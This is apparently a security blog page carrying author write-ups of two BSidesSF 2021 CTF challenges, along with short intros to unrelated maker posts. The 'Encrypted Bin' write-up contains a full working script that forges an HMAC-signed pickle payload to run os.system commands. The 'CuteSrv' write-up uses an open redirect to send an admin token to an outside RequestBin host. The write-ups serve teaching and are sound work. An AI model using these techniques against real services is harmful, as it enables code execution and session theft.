Making: A Desk Clamp for Light Panels

On a little bit of a tangent from my typical security posting, I thought I’d include some of my “making” efforts.

Due to the working from home for an extended period of time, I wanted to improve my video-conferencing setup somewhat. I have my back to windows, so the lighting is pretty bad, so I wanted to get some lights. I didn’t want to spend big money, so I got this set of Neewer USB-powered lights. It came with tripod bases, monopod-style stands, and ball heads to mount the lights.


BSidesSF 2021 CTF: Net Matroyshka (Author Writeup)

Net Matroyshka was one of our “1337” tagged challenges for the 2021 BSidesSF CTF. This indicated it was particularly hard, and our players can probably confirm that.

If you haven’t played our CTF in the past, you might not be familiar with the Matryoshka name. (Yep, I misspelled Matryoshka this year and didn’t catch it before we launched.) It refers to the nesting Matryoshka dolls, and we’ve been doing a series of challenges where they contain layers to be solved, often by different encodings, formats, etc. This year, it was layers of PCAPs for some network forensics challenges.


BSidesSF 2021 CTF: Encrypted Bin (Author Writeup)

I was the author for the BSidesSF 2021 CTF Challenge “Encrypted Bin”, which is an encrypted pastebin service. The description from the scoreboard:

I’ve always wanted to build an encrypted pastebin service. Hope I’ve done it correctly. (Look in /home/flag/ for the flag.)

I thought I’d do a walk through of how I expected players to solve the challenge, so I’ll write this as if I’m playing the challenge.

Visiting the web service, we find an upload page for text and not much else. When we perform an upload, we see that we’re redirected to a page to view the encrypted upload:

1
https://encryptbin-12f88e53.challenges.bsidessf.net/3440de91-bd99-418d-8742-61cfc8d0869c/jbWfZBIJMu75b7g6JL4obQ==!gAN9cQAoWAMAAABrZXlxAUMQoqUau03ia_Z8gIg38K6dH3ECWAIAAABpdnEDQwhQoP3W-UvIM3EEdS4=

If we look at the requests made in our browser, we notice that the contents of the paste are loaded by a Fetch API request to the server at /load, with an example request like:

1
https://encryptbin-12f88e53.challenges.bsidessf.net/load?file=3440de91-bd99-418d-8742-61cfc8d0869c&key=jbWfZBIJMu75b7g6JL4obQ%3D%3D!gAN9cQAoWAMAAABrZXlxAUMQoqUau03ia_Z8gIg38K6dH3ECWAIAAABpdnEDQwhQoP3W-UvIM3EEdS4%3D

We note the UUID as the file parameter and the key parameter separately. If we upload a few test files, we notice the entire file UUID changes each time, but not all parts of the key parameter are changing, suggesting some structure to the data:

1
2
3
4
5
6
jbWfZBIJMu75b7g6JL4obQ==!gAN9cQAoWAMAAABrZXlxAUMQoqUau03ia_Z8gIg38K6dH3ECWAIAAABpdnEDQwhQoP3W-UvIM3EEdS4=
4JhMLDj2_jqKB3Mga48sjw==!gAN9cQAoWAMAAABrZXlxAUMQyjuJPDmWctC2GqttcFotC3ECWAIAAABpdnEDQwiBbMqafv3GmXEEdS4=
3FPPCBGVktV6tYGNxQESpw==!gAN9cQAoWAMAAABrZXlxAUMQW77ObBYrougerdcyT8rDAnECWAIAAABpdnEDQwhdBIG6VnnufHEEdS4=
gSXVhGP0xqqZlY8LP4m10A==!gAN9cQAoWAMAAABrZXlxAUMQvQTrZZyOMy-dJnELRrR5cHECWAIAAABpdnEDQwiB1pRKE_s24XEEdS4=
O7ttlljfsYYQ1giJkh7r2w==!gAN9cQAoWAMAAABrZXlxAUMQTMN0Nv6FADGx4Db8a47O8nECWAIAAABpdnEDQwhbn4dopviAzHEEdS4=
N_xTGv4gndZemzXtglEzog==!gAN9cQAoWAMAAABrZXlxAUMQmErsXcdIRlSngzdd-VseZXECWAIAAABpdnEDQwgiKmU3EL20QnEEdS4=

The single bang (!) in the middle is likely a separator, and the data on both sides appear to be base64-encoded. (Well, the URL-safe variant of base64, where - and _ are used in addition to 0-9A-Za-z.) The left side is 16 bytes decoded, so 128 bits – could be some sort of key or MAC. It appears to always be completely random. The right side, on the other hand, has some parts that never change. This suggests some kind of structured data. If we decode them, we see the characters “keyq” and “ivq” consistently, suggesting maybe there’s some key/iv data there.

What if we try manipulating the data? If we tamper with most any byte in the key parameter, we get the following response:

1
2
3
4
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>Error deserializing pickled data: Invalid MAC</p>

The error here tells us a couple of interesting things. Firstly, there’s a MAC involved, telling us the value is signed in some way. Secondly, many might recognize “pickled data” as referring to the Python pickle module (and it’s the first search result for the term). The page even contains a warning:

Warning The pickle module is not secure. Only unpickle data you trust.

It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

Consider signing data with hmac if you need to ensure that it has not been tampered with.

The mention of hmac sounds similar to what we see in the error message, so it sounds like we’re on the right path.

What if we play with the file parameter? Most things just end up with a 404 error. If we include .., as in a typical directory traversal attack (like ../../../../../etc/passwd), we find a different error, suggesting something different is happening. Most probably, the file parameter is not just a key in some database. If we just try an absolute path like /etc/passwd, we get a bunch of binary data back. Since the file on disk is plaintext, we’re probably getting the data “decrypted” by the key we provided. Can we reverse this?

Let’s try to figure out how we can decrypt this file. Let’s try unpickling the data from one of the keys we’ve retrieved:

1
2
3
keyData = pickle.loads(base64.urlsafe_b64decode('gAN9cQAoWAMAAABrZXlxAUMQmErsXcdIRlSngzdd-VseZXECWAIAAABpdnEDQwgiKmU3EL20QnEEdS4='))
print(keyData)
{'key': b'\x98J\xec]\xc7HFT\xa7\x837]\xf9[\x1ee', 'iv': b'"*e7\x10\xbd\xb4B'}

We know from the home page that this uses AES-128, and its implemented in Python3. There’s a couple of Python Crypto libraries (sorry!) but pycryptodome is used here.

We can decrypt data we receive back using just a few lines of Python:

1
2
3
4
5
from Crypto.Cipher import AES

def decrypt_data(data, key, iv):
    cip = AES.new(key, AES.MODE_CTR, nonce=iv)
    return cip.decrypt(data)

Given this, we’re able to read arbitrary files from the server. If you’ve checked the HTML source of the app, you’ll have seen /home/ctf/main.py mentioned as the source. If you retrieve that, you’ll have the full source of the application. I won’t reproduce it in full here, but will grab some relevant sections:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def unpack_key(cfg, data):
    """Retrieve key and iv."""
    mac, d = data.encode('utf-8').split(MAC_SEP)
    mac = base64.urlsafe_b64decode(mac)
    d = base64.urlsafe_b64decode(d)
    expected = hmac.new(
            cfg['AUTH_KEY'].encode('utf-8'),
            msg=d,
            digestmod=hashlib.sha256).digest()[:16]
    if not hmac.compare_digest(mac, expected):
        app.logger.warn('Invalid MAC: ' + mac.hex() + ' ' + expected.hex())
        raise ValueError('Error deserializing pickled data: Invalid MAC')
    keyd = pickle.loads(d)
    return keyd['key'], keyd['iv']

You’ll also want to pull the related import /home/ctf/config.py (loaded at the top of main.py):

1
2
3
4
5
6
7
8
import os

TEMPLATES_AUTO_RELOAD = True

# App specific configs
BASE_DIR = "/tmp/ebin"
AUTH_KEY = os.getenv("AUTH_KEY", "--auth-key--")
FLAG_PATH = "/home/flag/flag.txt"

We can try our current technique to read the flag file from /home/flag/flag.txt, but that returns a 403 error.

We notice that the authentication key for the HMAC is configured here, but it could be taken from the environment as well. We could try doing something with this key, but instead, I’d rather just dump the environment. If you’re not aware, you can access the environment variables for a running process on Linux by reading /proc/self/environ. Each NAME=VALUE pair is null-terminated. Retrieving this in the same manner as the source, we get the following value for the AUTH_KEY:

1
AUTH_KEY=good_work_but_need_a_shell

Well, this suggests we need to execute code instead of just reading the flag from the file.

At this point, we can use the AUTH_KEY and the code in pack_key to try to construct our own valid key. Initially, I just set up a key and iv of my own choosing to avoid the same “Invalid MAC” error. Just plugging in the AUTH_KEY value and key and iv of my choice to pack_key worked fine. But all this allows is choosing my own encryption key – not super useful at this point.

If you recall, there was a bit of a warning regarding the use of pickle and the ability to execute arbitrary code during pickling. A Python class to execute a shell command is as simple as this:

1
2
3
4
5
6
7
class Exp:

    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        return os.system, (self.cmd, )

While I could send a reverse shell, I decided to use this to build a script that would just return output via output redirection to a file, then using the arbitrary file read. Listing /home/flag, we see that flag.txt is only readable by the flag user, but there’s also a program called getflag that is setuid() to the user flag.

1
2
-r-------- 1 flag ctf       22 Feb 27 23:14 flag.txt
-r-s--x--- 1 flag ctf  2061426 Feb 27 23:14 getflag

By altering our exploit to run /home/flag/getflag and getting the output, we’re able to get the contents of the flag file. Putting it all together gives the following solution script. Hope you found this challenge interesting or educational!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import pickle
import requests
import sys
from Crypto.Cipher import AES
import os.path
import base64
import hmac
import hashlib


def main(target):
    src_path = get_source_path(target)
    print('Source path:', src_path)
    usable_key = get_key_data(target)
    key, iv = extract_key_nonce(usable_key)
    file_src = retrieve_path(target, src_path, usable_key)
    print(file_src.decode('utf-8'))
    config_src = retrieve_path(
            target, src_path.replace('main.py', 'config.py'), usable_key)
    print(config_src.decode('utf-8'))
    environ_src = retrieve_path(
            target, '/proc/self/environ', usable_key)
    auth_key = extract_auth_key(environ_src)
    print('Auth Key: "%s"' % auth_key.decode('utf-8'))
    exploit = build_exploit(auth_key, 'ls -al /home/flag > /tmp/matirflag')
    retrieve_path(target, '/etc/passwd', exploit)  # Needed to get code exec
    print(retrieve_path(target, '/tmp/matirflag', usable_key).decode('utf-8'))
    exploit = build_exploit(auth_key, '/home/flag/getflag > /tmp/matirflag')
    retrieve_path(target, '/etc/passwd', exploit)  # Needed to get code exec
    flag = retrieve_path(
            target, '/tmp/matirflag', usable_key)
    print('Flag: ', flag.decode('utf-8'))


def get_source_path(target):
    r = requests.get(target)
    src_line = [a for a in r.text.split('\n') if '<!-- Source' in a][0]
    return src_line.split(': ')[1].split(' ')[0]


def get_key_data(target):
    data = {'paste': 'foobarbaz'}
    r = requests.post(target + '/upload', data=data)
    resp = r.json()
    return resp['key']


def extract_key_nonce(key_data):
    sig, e_key = key_data.split('!')
    key_d = base64.urlsafe_b64decode(e_key)
    key_s = pickle.loads(key_d)
    return key_s['key'], key_s['iv']


def retrieve_path(target, src_path, key_data):
    data = {
            'file': src_path,
            'key': key_data,
            }
    r = requests.get(target + '/load', data)
    if r.status_code != 200:
        print('Error:', r.status_code)
        return ''
    key, iv = extract_key_nonce(key_data)
    return decrypt_data(r.content, key, iv)


def extract_auth_key(environ):
    pairs = environ.split(b'\x00')
    print((b'\n'.join(pairs)).decode('utf-8'))
    for p in pairs:
        k, v = p.split(b'=', 1)
        if k == b'AUTH_KEY':
            return v


def decrypt_data(data, key, iv):
    cip = AES.new(key, AES.MODE_CTR, nonce=iv)
    return cip.decrypt(data)


def build_exploit(auth_key, cmd):
    exp = Exp(cmd)
    exp_d = pickle.dumps(exp)
    mac = hmac.new(auth_key, msg=exp_d, digestmod=hashlib.sha256).digest()[:16]
    return (
            base64.urlsafe_b64encode(mac) + b"!" +
            base64.urlsafe_b64encode(exp_d)).decode('utf-8')


class Exp:

    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        return os.system, (self.cmd, )


if __name__ == '__main__':
    main(sys.argv[1])

BSidesSF 2021 CTF: CuteSrv (Author Writeup)

I authored the BSidesSF 2021 CTF Challenge “CuteSrv”, which is a service to display cute pictures. The description from the scoreboard:

Last year was pretty tough for all of us. I built this service of cute photos to help cheer you up. We do moderate for cuteness, so no inappropriate photos please!

Like my other write-ups, I’ll do this from the perspective of a player playing through and try not to assume internal knowledge.

Visiting the service, we find a bunch of cute pictures:

CuteSrv

Since we just see links for Login and Submit at the top, it’s worth checking those out. Submit redirects us to the login page, so let’s login. We explicitly see that it’s redirecting us to a “LoginSVC” login page to do the login. This is on a different domain than the CuteSrv.

On this page, you can login or register. My first instinct would be to check for SQL injection, but even with SQLmap, I’m not finding anything. We create an account and are redirected back to CuteSrv. Now we only have the Submit link, which prompts us for a URL to submit.

CuteSrv Submit Page

Since it mentions that all submissions will be reviewed, I assume the admin will see a page with either the URL or the maybe the URL will be placed in an image tag for them to preview. In any case, this seems like a likely XSS vector, so we can try some payloads. Unfortunately, none of those payloads get us anything.

I start looking at the source for the webpages to see anything I’ve missed. I notice a hidden link to /flag.txt, so I figure I’ll just check that, though it seems too obvious for a challenge that’s not a 101. As expected, I just get Not Authorized here.

Let’s see if we can verify that the admin is seeing our submissions. We can use a RequestBin (or host something ourselves) and just use that URL for the image to see if we can get any request at all. We submit our RequestBin URL and almost immediately see a request that tells us the admin visited.

Maybe there’s a vulnerability in the login page. If nothing else, it’s pretty unusual for a CTF challenge to use two separate domains and services. If we logout and go to login again, and follow the flow carefully, we’ll see a set of requests:

1
2
3
4
5
6
7
- GET https://loginsvc-0af88b56.challenges.bsidessf.net/check?continue=https%3A%2F%2Fcutesrv-0186d981.challenges.bsidessf.net%2Fsetsid
- GET https://loginsvc-0af88b56.challenges.bsidessf.net/login?continue=https%3A%2F%2Fcutesrv-0186d981.challenges.bsidessf.net%2Fsetsid
- (Perform login)
- POST https://loginsvc-0af88b56.challenges.bsidessf.net/login
- GET https://loginsvc-0af88b56.challenges.bsidessf.net/check?continue=https%3A%2F%2Fcutesrv-0186d981.challenges.bsidessf.net%2Fsetsid
- GET https://cutesrv-0186d981.challenges.bsidessf.net/setsid?authtok=eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJhdXRodG9rIiwiZXhwIjoxNjE3OTQ5MDIzLCJpYXQiOjE2MTUyNzA2MjMsImlzcyI6ImxvZ2luc3ZjIiwibmJmIjoxNjE1MjcwNjIzLCJzdWIiOiJmb28ifQ.d1Cu3aXU6fUOgc0W4p3E3geViK1faqsKusWzHKOG-8htQJEzv5h-IgX5q6ZJs4LhaeK4r2Ngmb18oaw2LY7OIA
- GET https://cutesrv-0186d981.challenges.bsidessf.net/

We notice that the authentication token gets passed as a GET parameter from one service to another. If you’re familiar with it, you may recognize it as a JWT. Maybe we can craft our own token for the admin user, as sometimes JWT implementations have vulnerabilities. Unfortunately, every token I attempt to craft is rejected by the service and results in me being in a logged-out state.

If we’re already logged in, the /check endpoint on LoginSVC automatically redirects us to our continue URL. I quickly try some variations on the URL provided by CuteSRV and notice that LoginSVC seems to accept any URL I throw at it. Perhaps I can make use of this open redirect somehow. If I can get the admin to visit my server from the login service, maybe I can steal the authtok parameter and use it. I try submitting the /check URL with a continue parameter that points to my RequestBin (i.e., https://loginsvc-0af88b56.challenges.bsidessf.net/check?continue=https://enwc1bz9v7lve.x.pipedream.net/) in the image submission form.

Almost immediately, there’s a request to my RequestBin with a different authtok as a query parameter! I copy the authtok and use it with the /setsid path on CuteSRV:

1
https://cutesrv-0186d981.challenges.bsidessf.net/setsid?authtok=eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJhdXRodG9rIiwiZXhwIjoxNjE3OTUwMDIxLCJpYXQiOjE2MTUyNzE2MjEsImlzcyI6ImxvZ2luc3ZjIiwibmJmIjoxNjE1MjcxNjIxLCJzdWIiOiJhZG1pbiJ9.OulATR3pPROVZh9BCfwEbHYHceLAnPXxL3g9Q6T2AfTIP8qTZidqdpvPLrT8HwkYyyZwgyhdkoQkN2H--FXW0Q

It appears to give me a valid session, so I try the /flag.txt endpoint again and am rewarded:

1
FLAG: CTF{i_hope_you_made_it_through_2020_okay}

Is Reusing an Old Mac Mini Worth It?

I was cleaning up some old electronics (I’m a bit of a pack rat) and came across a Mac Mini I’ve owned since 2009. I was curious whether it still worked and whether it could get useful work done. This turned out to be more than a 5 minute experiment, so I thought I’d write it up here as it was just an interesting little test.